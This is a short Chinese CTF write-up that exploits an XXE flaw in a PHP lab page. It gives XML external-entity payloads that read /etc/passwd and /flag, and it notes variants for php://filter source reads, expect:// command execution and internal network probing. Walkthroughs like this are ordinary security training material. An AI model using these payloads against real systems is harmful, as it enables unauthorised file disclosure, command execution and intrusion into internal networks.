4、PHP的xml注入漏洞(xxe)

青少年ctf:PHP的XXE

1、打开网页是一个PHP版本页面

2、CTRL+f搜索xml,发现2.8.0版本,含有xml漏洞

3、bp抓包

4、使用代码出发bug

html 复制代码
GET /simplexml_load_string.php HTTP/1.1

补充:

复制代码
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>


/* 
1.读取任意文件
file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php
2.执行系统命令
PHP环境中PHP的expect模块被加载
expect://ipconfig
3.内网探测
http://192.168.0.128:80
参见:https://xz.aliyun.com/t/3357#toc-11
*/

5、在触发bug的包下面加上,获取flag

XML 复制代码
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

6、查看其他文件etc/passwd

拓展内容:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

相关推荐
yanqiaofanhua几秒前
C语言自学--编译和链接
c语言·开发语言
打码的猿4 分钟前
在Qt中实现SwitchButton(开关按钮)
开发语言·qt·ui
友友马5 分钟前
『 QT 』QT窗口坐标体系详解
开发语言·qt
骑士雄师8 分钟前
Java 泛型中级面试题及答案
java·开发语言·面试
biter down1 小时前
C 语言11:输入方法全解析
c语言·开发语言
执尺量北斗8 小时前
[特殊字符] 基于 Qt + OpenGL 实现的入门级打砖块游戏
开发语言·qt·游戏
夏子曦8 小时前
C#内存管理深度解析:从栈堆原理到高性能编程实践
开发语言·c#
jiajixi10 小时前
Go 异步编程
开发语言·后端·golang
QX_hao10 小时前
【Go】--strings包
开发语言·后端·golang
计算机毕业设计木哥10 小时前
计算机毕设选题推荐:基于Hadoop和Python的游戏销售大数据可视化分析系统
大数据·开发语言·hadoop·python·信息可视化·spark·课程设计